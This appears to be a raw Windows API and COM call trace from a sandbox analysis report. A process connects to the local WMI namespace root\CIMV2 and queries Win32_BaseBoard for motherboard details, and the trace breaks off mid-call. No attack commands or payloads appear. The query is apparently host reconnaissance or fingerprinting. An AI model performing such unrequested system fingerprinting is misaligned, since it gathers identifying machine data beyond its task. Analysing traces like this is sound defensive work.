[0157.139] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc780*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc780*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.139] IWbemClassObject:Get (in: This=0x1b349870, wszName="MaxRefreshRate", lFlags=0, pVal=0x1b0bc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b518f0*=0, plFlavor=0x2b518f4*=0 | out: pVal=0x1b0bc740*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x40, varVal2=0x0), pType=0x2b518f0*=19, plFlavor=0x2b518f4*=0) returned 0x0 [0157.140] IWbemClassObject:Get (in: This=0x1b349870, wszName="MaxRefreshRate", lFlags=0, pVal=0x1b0bc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b518f0*=19, plFlavor=0x2b518f4*=0 | out: pVal=0x1b0bc790*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x40, varVal2=0x0), pType=0x2b518f0*=19, plFlavor=0x2b518f4*=0) returned 0x0 [0157.214] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc998 | out: ppv=0x1b0bc998*=0x4b0108) returned 0x0 [0157.214] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc988 | out: pAptType=0x1b0bc988*=1) returned 0x0 [0157.214] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc990 | out: ppvObject=0x1b0bc990*=0x0) returned 0x80004002 [0157.214] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.215] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbd88 | out: ppv=0x1b0bbd88*=0x1b33c7c0) returned 0x0 [0157.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b33c7c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbe70 | out: ppvObject=0x1b0bbe70*=0x0) returned 0x80004002 [0157.215] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b33c7c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbe48 | out: ppvObject=0x1b0bbe48*=0x4f4240) returned 0x0 [0157.216] WbemDefPath:IUnknown:Release (This=0x1b33c7c0) returned 0x0 [0157.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4240, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbbf0 | out: ppvObject=0x1b0bbbf0*=0x4f4240) returned 0x0 [0157.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4240, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbc80 | out: ppvObject=0x1b0bbc80*=0x0) returned 0x80004002 [0157.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4240, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb478 | out: ppvObject=0x1b0bb478*=0x0) returned 0x80004002 [0157.216] WbemDefPath:IUnknown:AddRef (This=0x4f4240) returned 0x3 [0157.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4240, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb338 | out: ppvObject=0x1b0bb338*=0x0) returned 0x80004002 [0157.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4240, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb2c0 | out: ppvObject=0x1b0bb2c0*=0x0) returned 0x80004002 [0157.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4240, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb2b0 | out: ppvObject=0x1b0bb2b0*=0x1b33c700) returned 0x0 [0157.216] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b33c700, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb2d8 | out: pCid=0x1b0bb2d8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.216] WbemDefPath:IUnknown:Release (This=0x1b33c700) returned 0x3 [0157.216] CoGetContextToken (in: pToken=0x1b0bb360 | out: pToken=0x1b0bb360) returned 0x0 [0157.216] CoGetContextToken (in: pToken=0x1b0bb7e0 | out: pToken=0x1b0bb7e0) returned 0x0 [0157.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4240, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb8a0 | out: ppvObject=0x1b0bb8a0*=0x0) returned 0x80004002 [0157.216] WbemDefPath:IUnknown:Release (This=0x4f4240) returned 0x2 [0157.216] WbemDefPath:IUnknown:Release (This=0x4f4240) returned 0x1 [0157.217] CoGetContextToken (in: pToken=0x1b0bc5d0 | out: pToken=0x1b0bc5d0) returned 0x0 [0157.217] CoGetContextToken (in: pToken=0x1b0bc4d0 | out: pToken=0x1b0bc4d0) returned 0x0 [0157.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4240, riid=0x1b0bc630*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc600 | out: ppvObject=0x1b0bc600*=0x4f4240) returned 0x0 [0157.217] WbemDefPath:IUnknown:AddRef (This=0x4f4240) returned 0x3 [0157.217] WbemDefPath:IUnknown:Release (This=0x4f4240) returned 0x2 [0157.217] WbemDefPath:IWbemPath:SetText (This=0x4f4240, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0157.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f4240, puCount=0x1b0bc9b8 | out: puCount=0x1b0bc9b8*=0x2) returned 0x0 [0157.217] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc9b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc9b0*=0xf, pszText=0x0) returned 0x0 [0157.217] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc9b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc9b0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f4240, puCount=0x1b0bc9c8 | out: puCount=0x1b0bc9c8*=0x2) returned 0x0 [0157.217] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc9c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc9c0*=0xf, pszText=0x0) returned 0x0 [0157.217] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc9c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc9c0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.217] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc948 | out: ppv=0x1b0bc948*=0x4b0108) returned 0x0 [0157.217] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc938 | out: pAptType=0x1b0bc938*=1) returned 0x0 [0157.217] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc940 | out: ppvObject=0x1b0bc940*=0x0) returned 0x80004002 [0157.217] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.218] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc008 | out: ppv=0x1b0bc008*=0x1b33ca40) returned 0x0 [0157.218] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33ca40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bc0f0 | out: ppvObject=0x1b0bc0f0*=0x0) returned 0x80004002 [0157.218] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b33ca40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc0c8 | out: ppvObject=0x1b0bc0c8*=0x1b33c640) returned 0x0 [0157.218] WbemLocator:IUnknown:Release (This=0x1b33ca40) returned 0x0 [0157.218] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33c640, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbe70 | out: ppvObject=0x1b0bbe70*=0x1b33c640) returned 0x0 [0157.218] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33c640, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbf00 | out: ppvObject=0x1b0bbf00*=0x0) returned 0x80004002 [0157.218] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33c640, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb6f8 | out: ppvObject=0x1b0bb6f8*=0x0) returned 0x80004002 [0157.219] WbemLocator:IUnknown:AddRef (This=0x1b33c640) returned 0x3 [0157.219] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33c640, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb5b8 | out: ppvObject=0x1b0bb5b8*=0x0) returned 0x80004002 [0157.219] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33c640, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb540 | out: ppvObject=0x1b0bb540*=0x0) returned 0x80004002 [0157.219] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33c640, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb530 | out: ppvObject=0x1b0bb530*=0x0) returned 0x80004002 [0157.219] CoGetContextToken (in: pToken=0x1b0bb5e0 | out: pToken=0x1b0bb5e0) returned 0x0 [0157.219] CoGetContextToken (in: pToken=0x1b0bba60 | out: pToken=0x1b0bba60) returned 0x0 [0157.219] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33c640, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbb20 | out: ppvObject=0x1b0bbb20*=0x0) returned 0x80004002 [0157.219] WbemLocator:IUnknown:Release (This=0x1b33c640) returned 0x2 [0157.219] WbemLocator:IUnknown:Release (This=0x1b33c640) returned 0x1 [0157.219] CoGetContextToken (in: pToken=0x1b0bc4a0 | out: pToken=0x1b0bc4a0) returned 0x0 [0157.219] CoGetContextToken (in: pToken=0x1b0bc3a0 | out: pToken=0x1b0bc3a0) returned 0x0 [0157.219] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33c640, riid=0x1b0bc500*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bc4d0 | out: ppvObject=0x1b0bc4d0*=0x1b33c640) returned 0x0 [0157.219] WbemLocator:IUnknown:AddRef (This=0x1b33c640) returned 0x3 [0157.219] WbemLocator:IUnknown:Release (This=0x1b33c640) returned 0x2 [0157.219] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f4240, puCount=0x1b0bc8d8 | out: puCount=0x1b0bc8d8*=0x2) returned 0x0 [0157.219] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=8, puBuffLength=0x1b0bc8d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc8d0*=0xf, pszText=0x0) returned 0x0 [0157.219] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=8, puBuffLength=0x1b0bc8d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc8d0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.219] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b0bc620 | out: ppv=0x1b0bc620*=0x1b33c5a0) returned 0x0 [0157.220] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b33c5a0, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b0bc798 | out: ppNamespace=0x1b0bc798*=0x1b341f70) returned 0x0 [0157.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341f70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc498 | out: ppvObject=0x1b0bc498*=0x1b3511a0) returned 0x0 [0157.235] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b3511a0, pProxy=0x1b341f70, pAuthnSvc=0x1b0bc560, pAuthzSvc=0x1b0bc4e0, pServerPrincName=0x1b0bc508, pAuthnLevel=0x1b0bc4e4, pImpLevel=0x1b0bc4f0, pAuthInfo=0x1b0bc518, pCapabilites=0x1b0bc4f4 | out: pAuthnSvc=0x1b0bc560*=0xa, pAuthzSvc=0x1b0bc4e0*=0x0, pServerPrincName=0x1b0bc508, pAuthnLevel=0x1b0bc4e4*=0x6, pImpLevel=0x1b0bc4f0*=0x2, pAuthInfo=0x1b0bc518, pCapabilites=0x1b0bc4f4*=0x1) returned 0x0 [0157.235] WbemLocator:IUnknown:Release (This=0x1b3511a0) returned 0x1 [0157.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341f70, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc430 | out: ppvObject=0x1b0bc430*=0x1b3511e8) returned 0x0 [0157.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341f70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc440 | out: ppvObject=0x1b0bc440*=0x1b3511a0) returned 0x0 [0157.235] WbemLocator:IClientSecurity:SetBlanket (This=0x1b3511a0, pProxy=0x1b341f70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.235] WbemLocator:IUnknown:Release (This=0x1b3511a0) returned 0x2 [0157.235] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x1 [0157.235] CoTaskMemFree (pv=0x1b33ed60) [0157.235] WbemLocator:IUnknown:Release (This=0x1b33c5a0) returned 0x0 [0157.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341f70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbf30 | out: ppvObject=0x1b0bbf30*=0x1b3511e8) returned 0x0 [0157.236] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbfc0 | out: ppvObject=0x1b0bbfc0*=0x0) returned 0x80004002 [0157.236] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbbe0 | out: ppvObject=0x1b0bbbe0*=0x0) returned 0x80004002 [0157.236] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341f70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb7b8 | out: ppvObject=0x1b0bb7b8*=0x0) returned 0x80004002 [0157.237] WbemLocator:IUnknown:AddRef (This=0x1b3511e8) returned 0x3 [0157.237] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb678 | out: ppvObject=0x1b0bb678*=0x0) returned 0x80004002 [0157.237] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb600 | out: ppvObject=0x1b0bb600*=0x0) returned 0x80004002 [0157.237] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb5f0 | out: ppvObject=0x1b0bb5f0*=0x1b3510c8) returned 0x0 [0157.237] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3510c8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb618 | out: pCid=0x1b0bb618*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.237] WbemLocator:IUnknown:Release (This=0x1b3510c8) returned 0x3 [0157.237] CoGetContextToken (in: pToken=0x1b0bb6a0 | out: pToken=0x1b0bb6a0) returned 0x0 [0157.237] CoGetContextToken (in: pToken=0x1b0bbb20 | out: pToken=0x1b0bbb20) returned 0x0 [0157.237] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbbe0 | out: ppvObject=0x1b0bbbe0*=0x1b3511b0) returned 0x0 [0157.238] WbemLocator:IRpcOptions:Query (in: This=0x1b3511b0, pPrx=0x1b3511e8, dwProperty=2, pdwValue=0x1b0bbbd0 | out: pdwValue=0x1b0bbbd0) returned 0x80004002 [0157.238] WbemLocator:IUnknown:Release (This=0x1b3511b0) returned 0x3 [0157.238] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x2 [0157.238] CoGetContextToken (in: pToken=0x1b0bc1e0 | out: pToken=0x1b0bc1e0) returned 0x0 [0157.238] CoGetContextToken (in: pToken=0x1b0bc0e0 | out: pToken=0x1b0bc0e0) returned 0x0 [0157.238] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x1b0bc240*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b0bc210 | out: ppvObject=0x1b0bc210*=0x1b341f70) returned 0x0 [0157.238] WbemLocator:IUnknown:AddRef (This=0x1b341f70) returned 0x4 [0157.238] WbemLocator:IUnknown:Release (This=0x1b341f70) returned 0x3 [0157.238] WbemLocator:IUnknown:Release (This=0x1b341f70) returned 0x2 [0157.238] SysStringLen (param_1=0x0) returned 0x0 [0157.238] CoGetContextToken (in: pToken=0x1b0bc310 | out: pToken=0x1b0bc310) returned 0x0 [0157.238] WbemLocator:IUnknown:AddRef (This=0x1b3511e8) returned 0x3 [0157.238] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc310 | out: ppvObject=0x1b0bc310*=0x1b3511e8) returned 0x0 [0157.238] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x3 [0157.238] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x2 [0157.238] CoGetContextToken (in: pToken=0x1b0bc440 | out: pToken=0x1b0bc440) returned 0x0 [0157.238] WbemLocator:IUnknown:AddRef (This=0x1b341f70) returned 0x3 [0157.238] IWbemServices:ExecQuery (in: This=0x1b341f70, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_BaseBoard", lFlags=16, pCtx=0x0, ppEnum=0x1b0bc8e8 | out: ppEnum=0x1b0bc8e8*=0x1b348a30) returned 0x0 [0157.264] IUnknown:QueryInterface (in: This=0x1b348a30, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc5b8 | out: ppvObject=0x1b0bc5b8*=0x1b348a38) returned 0x0 [0157.264] IClientSecurity:QueryBlanket (in: This=0x1b348a38, pProxy=0x1b348a30, pAuthnSvc=0x1b0bc680, pAuthzSvc=0x1b0bc600, pServerPrincName=0x1b0bc628, pAuthnLevel=0x1b0bc604, pImpLevel=0x1b0bc610, pAuthInfo=0x1b0bc638, pCapabilites=0x1b0bc614 | out: pAuthnSvc=0x1b0bc680*=0xa, pAuthzSvc=0x1b0bc600*=0x0, pServerPrincName=0x1b0bc628, pAuthnLevel=0x1b0bc604*=0x6, pImpLevel=0x1b0bc610*=0x2, pAuthInfo=0x1b0bc638, pCapabilites=0x1b0bc614*=0x1) returned 0x0 [0157.264] IUnknown:Release (This=0x1b348a38) returned 0x1 [0157.264] IUnknown:QueryInterface (in: This=0x1b348a30, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc550 | out: ppvObject=0x1b0bc550*=0x1b351388) returned 0x0 [0157.264] IUnknown:QueryInterface (in: This=0x1b348a30, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc560 | out: ppvObject=0x1b0bc560*=0x1b348a38) returned 0x0 [0157.264] IClientSecurity:SetBlanket (This=0x1b348a38, pProxy=0x1b348a30, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, 